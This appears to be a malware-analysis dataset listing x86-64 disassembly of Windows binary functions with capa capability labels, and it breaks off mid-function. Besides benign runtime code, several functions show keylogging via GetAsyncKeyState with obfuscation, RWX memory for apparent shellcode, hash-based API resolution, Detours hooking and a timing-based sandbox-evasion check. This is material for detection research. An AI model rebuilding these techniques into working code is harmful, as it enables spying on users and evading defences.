joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400054a0]
mov dword [rax], 1
mov rax, qword [0x1400054b0]
mov dword [rax], 1
mov rax, qword [0x1400054c0]
mov dword [rax], 1
mov rax, qword [0x140005460]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001ce0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400029b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002a4a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002a2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002a22
cmp qword [rbp - 0x10], 0
je 0x140002a22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400029e8
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002a4b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x180002300
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x3c], edx
mov qword [rsp + 0x30], rcx
mov eax, dword [rsp + 0x3c]
sub eax, 1
jne 0x180002348
jmp 0x18000231d
xor eax, eax
mov r9d, eax
lea r8, [0x180002150]
xor eax, eax
mov rcx, r9
mov rdx, r9
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x48
ret

Function at 0x18000b21f
Capabilities:
Log keystrokes via polling

Disassembly:
push rdx
push r14w
jmp 0x18000b0ad
sub rsp, 0x16
push word [rsp + 5]
lea rsp, [rsp + 0x18]
cmp eax, 0
call fcn.18000affb
lea rsp, [rsp + 8]
je 0x18000a684
push rbp
pop word [rsp]
add rsp, 4
jmp 0x18000b080
lea rsp, [rsp + 2]
lea rsp, [rsp + 8]
cwde
and eax, 1
jmp 0x18000b011
xor al, 0xff
clc
cmc
jmp 0x18000b0cf
lea rsp, [rsp + 3]
lea rsp, [rsp + 1]
jmp 0x18000b051
cmc
lea rsp, [rsp + 2]
mov al, byte [0x1800050d1]
sub rsp, 4
mov word [rsp], r8w
jmp 0x18000b067
mov ecx, 0x4d
call fcn.18000b116
mov dword [rsp + 4], r13d
lea rsp, [rsp + 6]
lea rsp, [rsp + 4]
jmp 0x18000b097
and al, 1
mov byte [0x1800050d1], al
jmp 0x18000a684
lea rsp, [rsp + 8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
pushfq
push ax
mov word [rsp], ax
jmp 0x18000b041
push word [rsp + 5]
mov word [rsp + 5], bp
lea rsp, [rsp + 2]
jmp 0x18000b1d2

Function at 0x18000d35a
Capabilities:
Log keystrokes via polling

Disassembly:
and eax, 0x8000
cmc
cmc
sub rsp, 3
lea rsp, [rsp + 3]
jmp 0x18000d33c
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmc
cwde
cmc
jmp 0x18000d31b
cmp eax, 0
push si
lea rsp, [rsp + 2]
jmp 0x18000d39c
pop word [rsp]
lea rsp, [rsp + 6]
jmp 0x18000d331
je 0x18000a963
jne 0x18000a94d
Function at 0x140002ae0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
lea rdi, [rsp + 0x20]
mov ecx, 0x18
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x90]
mov rax, qword [0x140031028]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x48], 0
jmp 0x140002b32
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 4
jae 0x140002b52
mov rax, qword [rsp + 0x48]
lea rax, [rsp + rax*4 + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
jmp 0x140002b25
mov qword [rsp + 0x50], 0
jmp 0x140002b6a
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 4
jae 0x140002c3b
mov qword [rsp + 0x58], 0
jmp 0x140002b8e
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 4
jae 0x140002c36
mov qword [rsp + 0x60], 0
jmp 0x140002bb2
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 4
jae 0x140002c31
mov rax, qword [rsp + 0x50]
lea rax, [rsp + rax*4 + 0x28]
lea rcx, [0x1400234c0]
mov rdx, qword [rsp + 0x50]
lea rcx, [rcx + rdx*4]
mov rdx, qword [rsp + 0x58]
movzx ecx, byte [rcx + rdx]
imul rcx, rcx, 0x100
lea rdx, [0x1400225b0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x58]
lea rdx, [rdx + rdi*4]
mov rdi, qword [rsp + 0x60]
movzx edx, byte [rdx + rdi]
movzx ecx, byte [rcx + rdx]
mov rdx, qword [rsp + 0x60]
movzx eax, byte [rax + rdx]
xor eax, ecx
mov rcx, qword [rsp + 0x50]
lea rcx, [rsp + rcx*4 + 0x28]
mov rdx, qword [rsp + 0x60]
mov byte [rcx + rdx], al
jmp 0x140002ba5
jmp 0x140002b81
jmp 0x140002b5d
mov qword [rsp + 0x68], 0
jmp 0x140002c53
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 4
jae 0x140002c76
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
mov edx, dword [rsp + rdx*4 + 0x28]
mov dword [rax + rcx*4], edx
jmp 0x140002c46
mov rcx, rsp
lea rdx, [0x140023800]
call fcn.1400057e8
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005970
add rsp, 0x80
pop rdi
ret
Function at 0x140002d10
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov dword [rsp], 0
jmp 0x140002d30
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 4
jae 0x140002dce
mov dword [rsp + 4], 0
jmp 0x140002d4e
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 4
jae 0x140002dc9
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax*4]
mov ecx, dword [rsp + 4]
movzx eax, byte [rax + rcx]
mov byte [rsp + 8], al
movzx eax, byte [rsp + 8]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, [0x1400224b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
movzx ecx, byte [rsp + 8]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
mov ecx, dword [rsp]
mov rdx, qword [rsp + 0x38]
lea rcx, [rdx + rcx*4]
mov edx, dword [rsp + 4]
mov r8, qword [rsp + 0x10]
movzx eax, byte [r8 + rax]
mov byte [rcx + rdx], al
jmp 0x140002d44
jmp 0x140002d28
add rsp, 0x20
pop rdi
ret

Function at 0x1400035f0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov dword [rsp], 0
jmp 0x140003610
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 4
jae 0x1400036ae
mov dword [rsp + 4], 0
jmp 0x14000362e
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 4
jae 0x1400036a9
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax*4]
mov ecx, dword [rsp + 4]
movzx eax, byte [rax + rcx]
mov byte [rsp + 8], al
movzx eax, byte [rsp + 8]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, str.cw
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
movzx ecx, byte [rsp + 8]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
mov ecx, dword [rsp]
mov rdx, qword [rsp + 0x38]
lea rcx, [rdx + rcx*4]
mov edx, dword [rsp + 4]
mov r8, qword [rsp + 0x10]
movzx eax, byte [r8 + rax]
mov byte [rcx + rdx], al
jmp 0x140003624
jmp 0x140003608
add rsp, 0x20
pop rdi
ret

Function at 0x1400036c0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x10
mov dword [rsp], 0
jmp 0x1400036e0
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 4
jge 0x140003748
movsxd rax, dword [rsp]
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, str.cw
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x28]
movzx ecx, byte [rdx + rcx]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 8]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
jmp 0x1400036d8
add rsp, 0x10
pop rdi
ret
Function at 0x1400045f0
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push rdi
sub rsp, 0x80
lea rdi, [rsp + 0x20]
mov ecx, 0x18
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031028]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x28]
call fcn.1400047e0
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140004740
lea rcx, [rsp + 0x48]
call fcn.140004810
movzx eax, al
test eax, eax
je 0x14000469d
lea rcx, [rsp + 0x48]
call fcn.140005390
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x64]
dec eax
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x70], 0
je 0x14000469d
mov edx, dword [rsp + 0x64]
lea rcx, [rsp + 0x48]
call fcn.1400052c0
mov rcx, rax
call fcn.1400046e0
cmp eax, 0x3285501
jne 0x14000469b
mov edx, dword [rsp + 0x64]
lea rcx, [rsp + 0x48]
call fcn.140005180
jmp 0x1400046b4
jmp 0x140004655
lea rcx, [rsp + 0x28]
call fcn.140005300
movzx eax, al
test eax, eax
jne 0x140004623
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140024920]
call fcn.1400057e8
mov rax, rdi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005970
add rsp, 0x80
pop rdi
ret

Function at 0x140004cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
sub rsp, 0x98
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031028]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov eax, dword [0x140031c20]
dec eax
cdqe
imul rax, rax, 0x10
lea rcx, [0x140031bf0]
lea rdx, [rsp + 0x28]
mov rdi, rdx
lea rsi, [rcx + rax]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [0x140031c40]
lea r9, [rsp + 0x54]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [0x140031c38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.scode___RWX
call fcn.1400044c0
nop
mov eax, dword [rsp + 0x30]
mov edx, eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
cmp eax, 1
je 0x140004dc7
jmp 0x140004d4e
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x64]
mov qword [rsp + 0x80], rax
mov ecx, dword [rsp + 0x64]
xor edx, edx
mov eax, ecx
mov ecx, 4
div rcx
mov rax, rdx
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x70], eax
mov edx, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140004850
mov eax, dword [rsp + 0x30]
lea r9, [rsp + 0x54]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x140023cf8]
call fcn.1400044c0
mov rcx, rsp
lea rdx, [0x1400247e0]
call fcn.1400057e8
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140005970
add rsp, 0x98
pop rdi
pop rsi
ret
Function at 0x140005100
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rdi
sub rsp, 0x30
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x2c], 0x3a98
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x20], eax
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2c]
sub eax, 0x3e8
cmp dword [rsp + 0x28], eax
jbe 0x140005169
xor eax, eax
jmp 0x14000516e
mov eax, 1
add rsp, 0x30
pop rdi
ret

Function at 0x140005360
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
push rdi
movsx eax, byte [rsp + 0x18]
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
pop rdi
ret

Function at 0x140007340
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140007590
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x14000745a
mov rax, qword [0x140031070]
cmp qword [rsp + 0x20], rax
jb 0x1400073a4
mov rax, qword [0x140031078]
cmp qword [rsp + 0x20], rax
ja 0x1400073a4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140007366
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14000d090
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400073d5
jmp 0x14000745a
cmp dword [rsp + 0x50], 0x10000
jne 0x14000743d
cmp qword [rsp + 0x48], 0x10000
jb 0x14000743d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000741b
mov rax, qword [rsp + 0x28]
jmp 0x14000745c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x14000742b
xor eax, eax
jmp 0x14000745c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140007455
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140007590
mov qword [rsp + 0x20], rax
jmp 0x140007366
xor eax, eax
add rsp, 0x68
ret
Function at 0x140007470
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1400075d0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140007586
mov rax, qword [0x140031070]
cmp qword [rsp + 0x20], rax
jb 0x1400074cb
mov rax, qword [0x140031078]
cmp qword [rsp + 0x20], rax
ja 0x1400074cb
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14000748d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14000d090
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400074fc
jmp 0x140007586
cmp dword [rsp + 0x50], 0x10000
jne 0x140007564
cmp qword [rsp + 0x48], 0x10000
jb 0x140007564
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140007542
mov rax, qword [rsp + 0x28]
jmp 0x140007588
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140007552
xor eax, eax
jmp 0x140007588
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140007581
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400075d0
mov qword [rsp + 0x20], rax
jmp 0x14000748d
xor eax, eax
add rsp, 0x68
ret
Function at 0x140007620
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140007bb0
mov qword [rsp + 0x28], 0
cmp qword [0x140032270], 0
jne 0x140007668
cmp qword [0x140032268], 0
je 0x140007668
mov rax, qword [0x140032268]
mov qword [0x140032270], rax
cmp qword [0x140032270], 0
je 0x14000770e
mov rax, qword [0x140032270]
cmp qword [rax + 0x10], 0
je 0x14000770e
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000770e
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000770e
mov rax, qword [0x140032270]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x1400076d4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x1400076db
xor eax, eax
jmp 0x140007885
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.14000d090
mov rax, qword [rsp + 0x28]
jmp 0x140007885
mov rax, qword [0x140032268]
mov qword [0x140032270], rax
jmp 0x140007730
mov rax, qword [0x140032270]
mov rax, qword [rax + 8]
mov qword [0x140032270], rax
cmp qword [0x140032270], 0
je 0x14000777d
cmp qword [0x140032270], 0
je 0x14000777b
mov rax, qword [0x140032270]
cmp qword [rax + 0x10], 0
je 0x14000777b
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000777b
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000777b
jmp 0x1400076ac
jmp 0x14000771e
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140007890
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140007883
mov rax, qword [rsp + 0x48]
mov qword [0x140032270], rax
mov rax, qword [0x140032270]
mov dword [rax], 0x52727464
mov rax, qword [0x140032270]
mov qword [rax + 0x10], 0
mov rax, qword [0x140032270]
mov rcx, qword [0x140032268]
mov qword [rax + 8], rcx
mov rax, qword [0x140032270]
mov qword [0x140032268], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x140032270]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x140007834
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x14000786e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x14000782a
mov rax, qword [0x140032270]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x1400076ac
xor eax, eax
add rsp, 0x58
ret
Function at 0x1400085a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400085e7
xor al, al
jmp 0x140008689
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x140008611
xor al, al
jmp 0x140008689
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x140008681
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x140008681
mov al, 1
jmp 0x140008689
jmp 0x140008687
xor al, al
add rsp, 0x78
ret

Function at 0x140008990
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140032268]
mov qword [rsp + 0x28], rax
jmp 0x1400089b0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400089df
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1400089dd
call sub.KERNEL32.dll_GetLastError
jmp 0x1400089e1
jmp 0x1400089a2
xor eax, eax
add rsp, 0x38
ret
Function at 0x140009280
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x140032280], eax
je 0x14000929b
mov eax, 0x10dd
jmp 0x1400093c0
mov rax, qword [0x140032298]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140009345
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x140009310
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x140009310
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.140007cf0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.1400057d8
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x1400092a7
mov qword [0x140032298], 0
call fcn.140008750
mov rax, qword [0x140032290]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400093a9
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.1400057d8
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x140009361
mov qword [0x140032290], 0
mov dword [0x140032280], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x1400098f0
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x140032284], 0
je 0x14000990d
mov eax, dword [0x140032284]
jmp 0x1400099d3
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x140009920
xor eax, eax
jmp 0x1400099d3
mov ecx, 0x10
call fcn.14000579c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000998e
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x140009973
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.1400057d8
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x140032284], eax
mov qword [0x140032288], 0
mov eax, dword [rsp + 0x20]
jmp 0x1400099d3
mov rcx, qword [rsp + 0x50]
